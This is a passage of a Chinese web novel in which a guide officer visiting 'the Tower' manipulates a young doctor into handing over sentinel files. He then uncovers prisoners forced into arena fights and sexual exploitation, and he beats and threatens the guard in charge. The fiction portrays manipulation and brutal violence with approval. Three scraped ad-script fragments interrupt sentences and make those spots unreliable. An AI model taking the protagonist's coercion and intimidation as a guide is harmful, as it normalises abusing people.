白成渊的意识回笼,发现自己正躺在一张铁架床上,身上盖着厚重的军绿色被子。 床头亮着一盏小夜灯,暖黄的灯光形成一小片温暖舒适的区域,伴随着温度调节器发出嗡鸣,催人欲睡。 白成渊太累了,浑身都是酸痛感,连胳膊也不想抬起。 精神触角蔫蔫地攀附在屋内的墙壁上,如同枯萎的爬山虎,密密麻麻布在屋子的每一个角落。 白成渊试图将这些精神触手收回来。 触手尖尖微微颤动了一下,挣扎着翘起,很快又迅速下落,趴在墙壁上装死。 很好。 他发现自己现在没办法控制精神力了。 好在其中一条触手正好扒在门缝的位置,能够偷听到门外的谈话。 从声音上判断,是接待员和一名陌生的男性在交谈。 “……不知道怎么……突然就晕过去……” 接待员断断续续的声音传来,被虚弱的触手接收,并将信息传回到白成渊的脑子里。 “初步估计……创伤后应激障碍导致……精神力失控……” 那人大概是专门治疗特种人的医生,对于白成渊的症状判断得很准确。 门外,接待员吓了一跳,生怕上校在塔内受到伤害,他会被上面问责,连忙询问:“向导还会精神力失控吗?” 医生推了下眼镜框,看着对方惴惴不安的神色,笑着安慰道: “不是你的问题。少校的精神图景本来就受过伤,按理来说康复之后就不会有什么问题的。但是——” 一句话让接待员的心都跟着提起来了。 “在非正常情况下,如应激障碍、情绪极度不稳定,也是有可能导致复发的。只要想办法避免这些,就基本没什么大碍。” 接待员似懂非懂,他现在只关心一件事。 “所以白少校什么时候能康复?” “短则半天,长则一周,要根据精神图景的强度来判断。白少校是S级向导,用不了多久就可以恢复的。” 白成渊听着门外医生的话,跟着点了点头。 “所以——” “麻烦您最近不要再使用精神力了。” 白成渊再次点头。 等等。 ?! 门从外面打开,医生走进来,体贴地避开了地上软趴趴的精神触手。 接待员看到自己的前途醒了,顿时欣喜不已。 “……少校,您可终于醒了。”他三步并作两步跑到白成渊身边,泪眼汪汪地握着他的手。 “知道您没事我就放心了。” 白成渊的视线越过接待员,落在医生的身上。 “您好,我是塔的专职医生。” 年轻的男人自我介绍道:“如您所见,我也是一名向导。” 15. 墨兰 自从在白塔毕业后,墨兰就被自己的导师推荐到了塔内工作。 如今算下来,已经两年有余,他也算是一名经验丰富的特种人医生了。 塔内向来只能看见哨兵,墨兰作为向导待在这里,很是无聊。今天难得见到同类,他心里十分好奇。 墨兰看着眼前这位长相颇为俊逸的少校,如果不是怕冒犯到对方,他甚至想要询问一下对方精神图景受损的原因。 在白成渊晕倒后,墨兰曾试着进入到对方的精神图景探查伤情。 只可惜,他甚至还没能触碰到白成渊的精神屏障,就被张牙舞爪的精神触角连抽带打,硬生生逼退了出去。 他只能大体瞧出对方精神图景有陈年旧伤的痕迹,并从恢复的程度上判断,这些伤至少有七八年之久。 这可不是短时间内可以造成的伤害,尤其结合起对方的年龄,墨兰合理怀疑白成渊是当年黑色动乱时期的反抗军之一—— 也就是被当今众人奉为荣光军的那批人。 白塔内流传着许多黑色动乱时期的传说,正是那支为了自由奋斗、抛头颅洒热血的荣光军,向导们才能过上如今幸福的生活。 说不敬仰荣光军,那是假的。 只不过墨兰对自己的猜测尚且存疑。 他查过十一号哨所指挥官的信息,对方和他不过相差了三岁。 按年龄算,对方那时候还是个没成年的小屁孩,怎么也没可能去参加荣光军。 被触手抽到的地方还在隐隐作痛,墨兰委屈巴巴地揉了揉自己的胳膊,躲开那些惹不起的触手。 这群触手在主人面前扮乖装萌,看起来可怜兮兮,弱不经风,却在精神图景里攻击他的时候毫不手软,虎虎生风。 墨兰心里很不情愿。 明明只需要发个申请,塔就会将哨兵送过去,可这位少校却偏偏要来这里亲自选人。最近塔内的工作不少,对方的到来无疑会给他增添麻烦。 没有精神力辅助、对此毫不知情的白成渊,朝墨兰礼貌地点了点头,并向对方道谢。 末了,他夸赞道: “你的精神力等级很高,侦查能力也很强。” 毕竟,很少有向导能够察觉到他的精神触角。 墨兰闻言,露出一点骄傲的神情,像是一只翘起尾巴的小狗,双眼微眯。 “那当然。我可是我们那级排名前五的向导。如果不是老师推荐我来塔内工作,恐怕我现在也在哨所指挥战斗了。” 他表面神色倨然,内心却激动不已。 自己身边不是哨兵就是普通人,前者他只需要做好本职工作就行,后者任他再怎么展示高超的精神力,也丝毫察觉不到他的厉害之处。 如同将媚眼抛给瞎子一般,因此,墨兰感到十分挫败。 现在,终于有了同样懂行的向导,并且对方实力强大。得到对方的认可后,墨兰难得找回了当初在白塔的习以为常的自豪感。 他象征性地回夸道:“你也很厉害,这么年轻就已经是少校了。” 尽管有些不满意对方语气中流露出的上位者的口吻,可墨兰还是接受了他的赞扬。 白成渊比他大了足足三岁,而他又才工作两年。墨兰坚信,等他到了白成渊那个年纪,取得的成就定然不会逊色于对方。 白成渊有些好笑地看着对面的小向导。 明明对方穿着工作服装,也展现出了一副值得信赖的模样。可一开口,就暴露出了一丝不谙世事的幼稚与天真。 简单来说,就是刚从白塔毕业不久的清澈愚蠢。 不过白成渊不烦这样的人。 他觉得墨兰确实有这个骄傲的资本。 恰好他需要了解哨兵情况的人帮忙,白成渊看了一眼墨兰,就觉得对方相当合适。 年纪小,阅历少,责任心强,工作能力不错。 很适合PUA。 “在塔内的工作累不累啊?”他看似关心,实则试探: “哨兵是不是很难缠?” 墨兰“哼”了一声,神情高傲:“倒也不过如此。” “是吗?想不到你这么厉害!”白成渊不吝啬自己的夸赞,继续道: “那你的格斗水平是不是也很优秀?” 墨兰对答如流,在对方一声声的赞叹里,将脸越仰越高。 旁边的接待员一脸迷茫,感觉自己好像误入了什么邪.教组织。 白成渊故意做出惊讶的表情,靠着浮夸的演技和天花乱坠的夸夸,轻松就将对方架在了道德的高地。 然后,图穷匕见。 “既然墨医生这么厉害,想必可以轻松应对自己的工作。” 他似毒蛇一样,无情地喷洒着自己毒液般的话语,堪称冷酷: “那……可以麻烦您帮我整理出塔内B级及以上等级的哨兵的名单吗?” 墨兰脸上的笑容僵住,渐渐转变为不可置信。 白成渊见状,连忙做出一副虚弱的模样,病怏怏地靠在墙壁上,握拳抵在嘴边用力咳嗽了两声, “您也看到了,我现在没办法使用精神力,身体也很虚弱。我心里也很过意不去啊,奈何哨所的事情耽误不得。墨医生您这么善良,应该不会拒绝我吧?” 这、这…… 简直无耻至极! 墨兰不敢相信,堂堂少校会做出这种压迫平民的无耻行为。他几次张嘴,想要拒绝对方,却被白成渊苍白的脸色与活人微死的表情镇住。 联想到对方刚刚经历过应激障碍的折磨,他心里突然生出一丝不忍。 白成渊低着头,黑色上衣将他的身体衬得愈发消瘦。头发垂下遮住眼帘,露出一小截白皙的脖颈。他的周身萦绕着一种强烈的易碎感,仿佛墨兰一旦狠心拒绝,他就会立刻绝望死去。 墨兰犹豫许久,良心拼命挣扎,最终缓缓开口道: “……好。” 计划通。 白成渊生怕对方反悔,连忙开口补充道:“最好可以附上他们历年来在塔内的表现情况。” “……” 墨兰:? 白成渊继续气若游丝:“墨医生……” “好!” 墨兰打断了他,咬牙切齿。 他有些气抖冷,恨不得穿越回刚刚,给那个觉得对方很可怜的自己两个耳光。 * 第二天一早,墨兰敲开了白成渊住宿房间的门。 “墨医生,您怎么来了?”刚刚睡醒的白成渊神清气爽,见对方过来,一脸惊喜。 门外墨兰顶着两个硕大的黑眼圈,将打印出来的文件一股脑塞进对方怀里。 白成渊低头看了一眼,发现上面正是自己需要的名单,每个名字后面还有详细的备注。 “您这么快就整理好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了?!”白成渊的声音里满是欢喜。 真是个好用的小朋友。 他将后半句话吞回肚子里,越翻越满意。 这么细致入微的观察报告与总结,绝不是靠一个晚上就能整理出来的。 想要将每名哨兵的习性以及战斗特点都记录下来,就说明对方平日里没少在这件事上投注精力。 正是靠着平日一点一点的积累,才能做出这么完美的答卷。 足有半掌厚的文件里,记录着密密麻麻的哨兵信息,全是B级及以上的哨兵,还充分考量了不同哨兵精神体的战斗特点。 一个很好的苗子。 白成渊有些意外。他还没能挖掘出合适的哨兵,却意外找到了指挥官的好人选。 如果说昨天只是对墨兰有着些微的好感,现在就是完完全全对于对方的欣赏了。 这样的能力放在塔内,属实是埋没人才。 比起塔内的工作,墨兰这样的观察力与耐心,更适合作为指挥官使用。 “辛苦你了。”白成渊点头。 见对方没有离开的意思,白成渊再次抬头看向他。 “哨兵的档案是不可以私下外传的,既然我将这些信息整理出来,就要负责到底。等您看完了,我还要负责将这些情报收回,进行销毁。” 墨兰一板一眼地回答。 白成渊哑然失笑。 原来是小向导不信任他,怕他通敌,将这些重要情报传出去,要监督他完成阅览工作。 不过这么做也没错。 如果墨兰真像其他人一样,看见白成渊的军衔就只知道一味听从,那白成渊也断不会像现在这样欣赏对方。 “那就麻烦你了,请便。”白成渊让开了门。 这是一间空闲的职工宿舍,被临时当作白成渊的住所。 房间内一共摆放了六个铁架床和一张木桌,其中靠门位置的床铺上摆着整齐叠好的被子,正是白成渊的床。 墨兰很有眼力见,没有凑上去,只是远远坐在一旁,保证白成渊没有拍照或记录这些信息。 将需要的情报拿到手后,白成渊便闷头坐在桌子旁研究起来。 选择哨兵的工作看似简单,实则繁琐无比。要根据不同哨所的使用需求以及特点,因地制宜选出合适的哨兵来。 比如精神体为水生生物的哨兵,就完全不适合用于十一号哨所。 十一号哨所位处于阿达法山脉,那里温度极低,常年白雪皑皑,仅有的几个湖泊也会在冬日结冰。 把鱼类精神体的哨兵选去,难不成让他冬天去当冰雕吗? 不仅如此,还要考虑到哨兵的综合素质。 有些哨兵对向导极度憎恨——这倒也没什么,白成渊向来信奉好用就行——但最关键的是,他不确定对方会不会把这种仇恨情绪投射到哨所上。 在这种情况下,万一对方投敌,一个不慎,就可能对哨所产生毁灭性打击。 彼此仇恨没什么关系,有本事就打过来,白成渊自然也不会畏惧对方。 但无论如何,这些都只能在一种基础上进行——不会损害国家的利益。 他不会愚蠢到选择有反心的哨兵进入自己的哨所。只要他还在,就不会允许任何敌人踏过十一号哨所,从阿达法山脉进入到帝国内部。 他的哨所,是帝国的第一道防线,也会是最后一道防线。 16. 斗兽场 等到将手中的文件全部阅览完毕,已经日上三竿。 白成渊将文件分成两堆,薄的那堆是经过他初步判断,可以进一步观察的对象。 他伸了个懒腰,许久不动的骨骼发出轻微脆响。 明媚的阳光照射到桌面上,尘埃在空气中无序地浮动。 白成渊看了眼终端,才惊觉已经到了晌午。 现在去食堂,说不定还能勉强赶上饭点。 他立刻回头,“墨……” 话到嘴边打了个旋儿,又被他及时止住。 只见墨兰正歪歪扭扭地靠在床边,双眼合实,小鸡啄米似地点着头。 也难怪对方如此困倦,只怕是通宵熬夜才整理出了这些文件。 白成渊本想帮对方把身子放平的,可手指刚触碰到他的肩膀,就见墨兰浑身一抖,猛地睁开双眼大喊: “报告老师,我上课没睡觉!” 声音洪亮,铿锵有力。 然后,他看到面前白成渊放大的脸,大脑顿时宕机。困顿的灵魂回归躯壳,他终于意识到自己此时并不在白塔。 靠! 简直丢人丢到家了! 窘迫感瞬间爆棚,墨兰脸红脖子粗,一双橙红色的毛耳朵刷地冒了出来。 感觉到脑袋上的异样,他更加尴尬,恨不得把头都低到床底下去。 白成渊见状毫不客气,“扑哧”一下笑出声来。 只见对面的向导在这笑声中浑身颤抖,脖子红得仿佛在滴血,看起来下一秒就要哭出来。 白成渊赶紧掩饰地咳嗽了一声,装作什么也没看见,偏头问道:“墨医生,要不要一起去吃个午饭?现在去应当还来得及。” 墨兰手忙脚乱地想要收回兽耳,可是忙中出错,差点一个没忍住把尾巴也放出来。 “啊?哦……我……” 他本想拒绝对方的邀请,可本就没摄入早餐的肚子,随着主人的苏醒,发出了诚实的“咕咕”声。 “……” 有点淡淡想死的忧伤。 “我去。”墨兰表情不变,看起来人已经走了有一会了。 “那我去外面等你。等你收拾好,我们就一起去。” 白成渊指了指对方的头顶。 他转身正欲离开,回头看了一眼墨兰,到底没忍住,大手一伸,搓了搓墨兰脑袋上毛茸茸的耳朵。 感觉到头上的痒意,墨兰不可置信地睁大了双眼。 兽耳是可以随便摸的吗?! 然后,他听到白成渊出去关门时,嘀嘀咕咕的声音: “原来是只短毛狐狸犬……” “……” 墨兰痛苦捂脸。 他感觉自己整个人快要碎掉了。 * 等一同解决完午饭,白成渊心满意足走出食堂。 “墨医生,等会我打算去看看哨兵,你要和我一起吗?”他转头问跟在身后的墨兰。 墨兰本来还在回想刚刚的事情,听到这声询问,连忙摇头,生怕被这个笑面虎再次坑蒙拐骗。 “不,我很忙。” 他后退几步,恐惧摆手,“我、我突然想起之前有项工作我还没有提交结项书,我先走了!” 说完,不待白成渊反应,就一溜烟跑开了。 只留下站在原地一脸无辜的白成渊。 无论白成渊去哪,向来都备受欢迎,偶尔几次路过普通人聚集区,还有人抢着要同他合影,夸他是“行走的荷尔蒙”。 如今,头一次被人当作洪水猛兽,他难得吃瘪,悻悻道:“怕什么,我又不会吃人。” 见到手的牛马跑了,他只好凭借记忆,走进了塔内关押哨兵的地方。 一进入到大厅内,便亮起了恍若白昼般的灯光。周围的墙壁以及地板都是由特殊的材料制成,保证不会被试图越狱的哨兵打破。 白成渊走到电梯前,按下按钮。 “嘀——你的身份和目的是?” 电子音自高处传来。 “白成渊,十一号哨所指挥官,来给哨所补员。” 白成渊心里感到奇怪,试探着喊了一句: “……诺厄?” “……身份验证通过。” “指挥官,您好,我是塔的人工智能秘书——洛基。” 洛基? 白成渊脸上出现了意外的神色。塔作为军事管理区域,居然不是由诺厄全权负责? “指挥官,请进——” 电梯门缓缓打开。 白成渊将信将疑走了进去。 电梯内有许多按钮,可上面并没有表示出对应的楼层。 其中一个按钮亮起,按照惯例,电梯本该上行,可白成渊却分明感觉自己正在向下移动。 对此,他选择保持沉默。 “楼层到了,请您出门右转,走廊尽头会有工作人员为您服务。如果有什么需要,您也可以呼唤我的名字。” 洛基一秉人工智能惯有的贴心,为白成渊打开了门。 面前是一个空旷的区域,靠墙处摆放着一个一人高柜子。不同寻常的是,这个柜子完全由钢铁制成,四角包着软布,柜底被死死焊在了地面上。 白成渊一眼就发现了柜子后墙壁上的一抹深褐色。 他不着痕迹地靠近了柜子,像是第一次来到陌生地方一样,好奇地打量着四周,实则背地里偷偷释放出了一条精神触角。 ——吃饭的时候,白成渊意外发现自己正逐渐恢复,可以短时间内释放出少量的精神触角。 精神触角贴着柜子缓缓蠕动,最后停在了那抹褐色痕迹的附近。 是干涸的血迹。 白成渊接收着触角发出的信号,右转进入了走廊。 踏入走廊,感应灯自动亮起。头顶的内嵌式灯管将任何一个角落都照得纤毫毕现,整个墙壁光滑无比,如同进入一条看不到尽头的隧道,周围没有一丝缝隙。 看起来像是为了防止哨兵突袭,而专门打造的走廊。 走廊尽头有一扇厚重的铁门,未待白成渊伸手按下门铃,铁门便缓缓打开。 身穿制服的员工站在门内微笑道: “您好,我是这里的看守员。洛基让我带着您参观一下这里。” 而后,他不知从哪里掏出来了一张黑漆漆的面具。 “按照规定,这些哨兵很可能会成为您未来哨所的成员。因此,麻烦您戴上面具进行参观。” 白成渊只好接过面具戴好。 “里面请。”看守员比了个请进的手势。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一进入门内,白成渊就感觉到了阵阵寒意。走廊两侧分别是一格一格狭窄的房间。看来为了防止哨兵之间相互勾结,塔特地给了他们配备了单人间。 白成渊走到门前,从巴掌大的防弹玻璃窗里看去。 一张同样焊在地面、棱角打磨得十分光滑圆润的铁架床,一个简易的洗漱台与马桶,这三样东西,构成了房间内的全部设施。 “现在是活动时间,所以哨兵们都不在房间里。”看守员解释道。 “活动时间?”白成渊没想到塔会这么人性化。 “对,活动时间。不过跟您以为的那种有些不同。” 看守员引领着白成渊穿过错综复杂的走廊,终于又走到了另一扇大门前。 这一次,他没有上前推门,而是示意白成渊自己亲自动手。 白成渊走上前,用力一推,大门缓缓打开,眼前骤然一暗。 昏暗的环境中,他依稀看出自己正身处在一个观看台处。围栏下面,大片空地被划分成了十几个紧密相连的六边形擂台。 每个擂台上,都有两名哨兵在全力互殴。 他们成对角线占据着擂台的两侧。只是短短几秒内,一方率先发动攻势,毫不犹豫地挥下重拳,另一方则敏捷格挡。 动作拳拳到肉,角度凌厉刁钻,如同原始的野兽,拼命杀死着对方。 一时间,白成渊以为自己穿越到了远古时代的斗兽场上。 “很清晰直观对吧。”看守员凑了过来,指着楼下正同时进行的数十场擂台赛, “这里的哨兵都是数字哨所的主力军,为了保证他们的战斗机能不会随着关押的时间衰退,我们特意弄出了这样的机制,让他们每天都能获得足够的实战训练。” “请跟我来。”看守员带着白成渊进入了一旁的房间内。 整一面墙上,整齐排列着十几块大小一致的显示屏,上面正播放着每个擂台的实时画面,以及人工智能对他们综合实力的分析。 “您可以坐在这里慢慢看,一定会挑选出符合您要求的士兵的。” 看守员指了指一旁舒适柔软的真皮沙发。 “我不是第一个来这里的。”白成渊肯定道。 “您说的不错。” 看守员微微一笑,“要知道,在塔内凭空建立起一个这么大的格斗空间,是要耗费巨大的人力与物力的。” “虽然他们都是犯人,但同样也是珍贵的武器。为了保证哨兵们的状态良好,营养剂、修复剂什么的都是必不可缺。” 看守员铺垫了一大堆琐碎的内容,才缓缓说出了关键: “有些大人物平日里压力大,他们偶尔就会选择来这里,观看两场比赛散心。” 轰! 白成渊脑内轰然巨响,心里登时掀起惊涛骇浪。 他不可思议地看向看守员,只感觉体内的血液在肆意奔腾,齐齐涌向大脑。 骤然升起的愤怒填满顿时了整个胸腔。 如果此时此刻了解他的人在身旁,一定会对此感到心惊肉跳。 白成渊与常人不同,越是生气愤怒,他脸上越是面无表情,让人难以揣摩。 看见看守员一脸习以为常,白成渊怒极反笑, “我倒是想知道,您说的大人物都有哪些?” 17. 训犬 看守员见状,只当对方好奇那些上层人的生活,出于保密意识,他有些神神秘秘道: “哈哈,帝国权贵的生活哪是我们这些平民百姓好奇得来的,少校,您还是少管这些事情才好。” 他意味深长地看了白成渊一眼,“之前有些人试图用这个作为攻击政敌的理由,下场可不太好呢。” “……我们这里也是有些背景的。” 白成渊沉默不语,坐在了真皮沙发上。他翘起二郎腿,拍了拍身下柔软光滑的面料,发出一声舒服的喟叹。 “所以,只要是贵族,就可以在这里为所欲为了吗?” “当然。只要您的身份足够高贵,这里会为您提供所有您想要的。” 看守员露出一丝诡异的笑容,如同评价着货物般看了看被困在擂台上的哨兵们, “有些大人物就喜欢征服这群野兽,这足够让人产生成就感。”他下流地盯着屏幕上一个衣服被扯烂的哨兵,目光在对方发达的肌肉处逡巡。 “我们能做的,远比您想象的多。” “所以,还是回归正题吧,少校。把你心仪的哨兵挑走,当然,除了那些擂台上亮着红灯的哨兵——他们已经被预定了。” 看守员本以为会看到白成渊知难而退的模样,却不料对方的眼神古井无波。 白成渊嗤笑歪头,随便指出了几个哨兵,“可以让他们上来见我吗?” “您……的勇敢超乎我的想象。” 这是他遇见的第一个不给哨兵注射镇定剂就要与对方见面的向导。 看守员肃然起敬,换了一个词语,斟酌着语句道: “我们没有这样的先例,因为他们通常会被直接送到哨所,或者是权贵们的卧室里。他们现在没有注射过镇定剂,很有可能在接触中伤害到您。” “呵。”白成渊笑着,看似放弃了和哨兵面对面的想法。他似乎有些口渴,确认不会被楼下的哨兵看见,就摘下了面具。 “有水吗?或者……你们这里有什么推荐的酒吗?” “……有。”看守员一时间摸不着头脑。 每一个进入到塔内部的人员,身份都要经过洛基的审查。 那位高贵的大人早就将白成渊的信息发给他一份,对方不过是一个有着贵族血统、但没有贵族权利与地位的向导罢了。 看守员阅人无数,他一眼就注意到了向导朴素的穿着,全身上下没一件是上流社会人士偏爱的服装品牌。 而且对方似乎也没任何靠山。 不然也不会在前不久,被上面人踢皮球,被迫接手了众所周知的烫手山芋——十一号哨所。 任谁都知道,这个数字哨所的沦陷只是时间问题。 十一号哨所看似还算可以,但稍微了解这个圈子里的人都知道,上个指挥官已经将整个哨所都败光了,连武器库都被搬空了。整个哨所元气大伤,根本就没有东山再起的可能。 即使费尽心力,勉强守住这个数字哨所,也不过是无功无过。 但凡哨所出现差池,指挥官肯定会被军法处置,关入大牢,前途渺茫甚至被赶出军部的也不在少数。 他实在不理解,这位少校想要做些什么。 “那就把最好的酒拿上来。” 白成渊朝看守员说,然后,解下手腕的终端,放在了桌子上。 “拿这个抵,足够了吧?” 看守员看清楚桌上终端的款式,吞了吞口水。 这只终端,是向导全身上下最值钱的东西。 他一眼就认出这个终端价格不菲,是梦魇s系列的最新款。 减去佩戴损耗,把这只终端卖掉的钱差不多能用来在首都买辆不错的悬浮车。 更何况,这款终端作为s系列的收官之作,收藏价值只增不减。 想必对方是付出了自己全部的积蓄,才买到了这个终端的吧。 “当然,没问题。”他将嘴角弯成一个恰到好处的礼貌微笑,实则心里有些不屑: 没钱的逼王。 过了一阵,一瓶深红色的酒被托盘盛了上来。 “请允许我为您介绍,这是产自津巴特文庄园的’血色玫瑰‘。” “这个庄园因盛产顶级的葡萄酒而闻名,每一支酒都独一无二,有着不同的风味和特点。瓶身也是由专业的设计师精心打造,可以表现出庄园主人的态度……” 简而言之,每一滴酒水,都是金钱的味道。 看守员自信地背着介绍词,试图从向导的脸上找出土包子见到好东西时会有惊讶向往,以及故作高深的神情。 只可惜白成渊反应平平,看着这瓶“血色玫瑰”的眼神,和看见路边摊上卖的二十块钱一扎的啤酒没什么两样。 看守员心中没能得到满足,只好安慰自己,这土包子肯定不知道这瓶酒的价格,自然不会太过惊讶。 至于津巴特文庄园,恐怕以对方的眼界,还从未听说过。 白成渊确实没什么想法。他甚至觉得有些失望。 只看了一眼桌子上玻璃瓶的包装,他就认出,这瓶酒与韩申用来装花的酒瓶,来自同一个产地。 当时韩申是怎么评价那个庄园来着? 一个噱头十足、靠炒作活下去的庄园。也就酒瓶的设计还算赏心悦目,用来插花刚刚好。 “已经为您醒好酒了,请品尝。” 盛着漂亮液体的高脚杯摆在了白成渊面前。 他拿起酒杯,轻轻晃了晃。 然后,就见白成渊皱着眉,修长的手指微微一斜,昂贵的酒水便流淌到了地毯上。 深红的液体滴滴答答,很快就将浅色的地毯洇湿了一小片。 看守员目瞪口呆,仿佛听到了金钱被扔进碎纸机的声音。 “……你、你在做什么?!” 他声音尖锐,脸上的心疼溢于言表,“这一瓶酒要六万!” 白成渊慢条斯理地将杯中最后一滴酒倒干,然后将酒杯放回到桌面上。 他神色淡淡,从上衣口袋里掏出一块手帕,缓慢擦了擦五指,眉宇间带着厌恶的神情,像是碰到了什么肮脏至极的东西。 看守员慢半拍意识到,对方刚刚捏的部位,正是他递过去时不小心触碰的位置。 眼看自己遭受到巨大的侮辱,看守员脸涨得通红,眼角微微抽搐,努力隐忍自己的怒意,不冲上去殴打对方。 “现在,我问你答。不说,就用这个,给你脑袋开花。” 白成渊指了指那瓶酒,语气平淡地像是在说“今天的天气真好呀”一样。 “你敢!” 看守员指着白成渊,神情扭曲,怒不可遏,“你知道我背后是谁吗?当个少校就了不起了?信不信我让你明天就滚出军部,把你关进审判所里?!” “那就试试吧。” 白成渊彻底不装了,撕下以往平易近人的面具,露出尖锐恶劣的内里。 他轻笑着,单手拎着酒瓶,将两条包裹得修长的腿交叠放在桌面上,打磨锃亮的皮鞋在灯光下微微泛着光。 “让我猜猜,养了一群这么猖狂还爱乱吠的狗——是刘家?石家?” “……该不会,又是李家吧?” 听着对方口中念出一连串帝国顶级贵族的姓氏,看守员脸色渐白。 如果他真能搭得上顶级贵族这条线,还用得着在这里当一个小小的看守员? 而且那样稔熟随意的口吻…… 简直危言耸听!帝国根本就没有姓白的顶级贵族! 难道是随了母亲家族的姓氏? ……等等。 看守员隐约想起,伟大的皇后殿下,似乎也姓白…… 不会的,肯定不会! 怎么刚好就这么巧? 更何况,他可没听那位大人说过皇后有什么在军部任职的亲人。 他狠狠咬牙,冷哼一声,“少校,您敬酒不吃吃罚酒,可就别怪我了!” 下一秒,他用力按下了隐藏在墙壁侧面的按钮。 刺耳的警笛瞬间响彻整个塔内。 白成渊恍若未闻,叹了口气,站起身整 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 理了一下褶皱的衣襟。 “你想做什么?”看守员警惕后退。 “守卫马上就过来了,到时候,有你好看。”他阴恻恻地说。 白成渊没理睬他。 他掂了掂手里的酒瓶,下一秒,酒花在看守员的左臂炸开! “——啊啊啊啊啊!!!” 看守员凄厉大喊,脸上瞬间没了血色。他倒地不起,在玻璃渣里来回打滚儿,哀声不断。 只见血红色液体四处横流,看守员的右臂已然没了知觉,角度怪异地扭曲着。 “啊啊啊——我的胳膊、我的胳膊断了!” 他看着对面如同罗刹恶鬼的家伙,一边向后爬,一边浑身哆嗦。 “质量真好。” 白成渊满意地看着还剩下一半的瓶身,甩了甩上面沾着的酒液。 “本来我是想把酒倒空了再砸的,因为他们说这样打人没那么疼。” “但我看你好像挺想尝尝这酒的味道的。”他缓步向前走。 看守员惊恐后爬,之前高傲的模样一扫而空,只剩下了丑态百出。 他身后突然一凉,是脖子抵到了冰冷的墙壁上。 退无可退。 白成渊弯下腰,蹲在看守员面前,和他视线齐平。 “我也不是什么不通情达理的人,狗狗不乖,也要怪主人没教好。” “已经挨了教训,应该听得懂话了吧。下一次,开花的就是你的脑袋了。” 白成渊拿碎酒瓶尖锐的部分抵在了对方的脑袋上,似乎在丈量落下来的角度。 “别打了!别打了!” 看守员浑身抖得像个筛子,津巴特文庄园产的葡萄酒都是用特制酒瓶装的,酒瓶质量很好,基本上是摔不坏的。 这东西要是冲着脑袋来一下,估计他这辈子就可以重开了。 “我说!我说!” 白成渊像没听见似的,举起酒瓶就要砸。 “求你!别打了!!我说——!!!”看守员仅剩下的左手挡在了脑袋上。 “哐——!” 预料的疼痛并没有降临。 他睁开双眼,看见白成渊恶劣地做了个假动作。 酒瓶撞击墙壁,在看守员的脸边碎裂,弹起的玻璃碎片划伤了他的脸颊,可看守员此时全然不知。 下腹一阵暖流。 “哟,狗狗上厕所了。” 白成渊嫌恶地向后一退,兴致缺缺地向后一倒,坐在了沙发上。 看守员惊觉自己保下一条小命,顾不得身下的狼狈,连忙道: “是斯诺家族让我这么干的!霍尔·斯诺!斯诺家的二儿子!” 他以为对面总该出现一些反馈——愤怒、不屑、好奇,哪怕只是疑惑……不管哪种情绪都好,总该不会像现在这副德行。 白成渊翘着二郎腿,心疼地吹着上衣沾着的玻璃渣,然后看向对方,后知后觉地掏了下耳朵。 “……我刚刚好像出现幻觉了。狗是怎么叫的来着?” 他的神情真挚无比。 神经病! 绝对是个神经病!!! 看守员如同看见索命的厉鬼,脸色快速灰白下去。 门外传来了急促的敲门声,可看守员却绝望地认为,就算整个塔的士兵都来了,结果也不会有任何改变。 没人惹得起这个疯疯癫癫的神经病。 门外的士兵用力敲门,这是用来接待客人的房间,他们没有开门的钥匙。 唯一的钥匙在看守员那里。 他们大声询问着里面的情况,打算看守员再不回应,就暴力拆除这扇门。 “安静一下!”士兵中有人喊。 他将耳朵贴在墙壁上,在众人安静的注视下,屏息凝神,侧耳倾听。 什么声响也没有。 等等…… 好像又有点动静了。 在场的所有人都竖起耳朵仔细聆听。 “——汪。” 房间里突然传来了一声清脆无比的狗叫。 18. 英勇小狗 墨兰将结项书补充完后,用终端将文件发送给了组长。 此时,距离中午和白成渊分开,已经过去一个多小时了。 “也不知道那家伙认不认路。” 墨兰嘴里小声嘟囔,脸上顿时愤愤不平,“居然还敢嘲笑我,迷路也是活该。” 他坐在自己的椅子上发呆,看着办公室内空荡荡的桌面,不由得长叹一声。 虽然塔内高等级的哨兵众多,可作为这里唯一的医生,墨兰的工作却意外的清闲。 除非有哨兵受了重伤或者濒临精神狂乱,否则塔内的看守员很少愿意将他喊去帮忙。 上一次给塔内哨兵治疗,好像还是发生在半个月前。 那是他来到塔工作的两年间,唯一一次出的急诊,也是他第一次踏入到关押着高等级哨兵的内部区域。 按照塔的规章制度,每周一他都要例行检查哨兵们的精神体状态。 不过,这时通常要有看守的陪同,他被领着前往观察室外部,隔着厚厚的单向玻璃释放精神触角;而那群哨兵,则带着电子镣铐和腺体抑制器,行尸走肉般站在观察室内。 墨兰一批可以检查十个人,总共要二十批,以他的能力,每周一的检查都要耗费大半天时间。 等到检查结束,墨兰已经累得瘫在椅子上,活像是刚进行了一千米的障碍训练。 就连向来活泼好动的精神体狐狸犬,也都累得吐着舌头一动不动。 就这样一周一周过去,渐渐地,墨兰发现了一个秘密。 这个秘密是在半个月前,他出急诊后确定下来的。 ——塔内关押的高等级哨兵,绝对不止两百人。 看守大抵觉得墨兰一个初出茅庐的向导,不值得太过防备。 更何况,每周一次的精神体检查枯燥而繁琐,还格外耗费精神力,但凡是个没有受虐倾向的正常向导,都不会喜欢做这种工作。 他等待着墨兰主动找他放弃这份工作,却不想对方一干就是两年。 墨兰,作为百年难遇的奇葩,一进入塔内,就对自己的工作抱有巨大的热情。他对塔内的一切事物都感到好奇,并且胜负欲极强,凡事都要争第一。 在进入塔的第二周,他就完全掌握了自己的本职工作,入职塔的半年后,他甚至开始敬业地记录起了手底下“病人”的情况。 他将这些全部记录在了那个被他命名为“塔医工作日志”的小本子里,闲来无事还会拿出来反复翻阅。 有时候突然少了几个哨兵,据看守说是被数字哨所选走了。 等隔个三五天,又有新的哨兵补上空位,每次检查都是两百人,不多也不少。 墨兰偷偷拿出藏在办公桌抽屉夹层的本子,翻到了被他反复涂抹、又用红笔重新书写的那一页。 这一页记录的哨兵,精神体是长吻海蛇。 海蛇哨兵的精神体虽然有些吓人,可实际上,他是一个金发碧眼、神情高傲的漂亮男性。 墨兰本以为对方在两个月前被选去了其他哨所服役——看守也确实是这样告诉他的,但是,他在半个月前,又一次见到了对方。 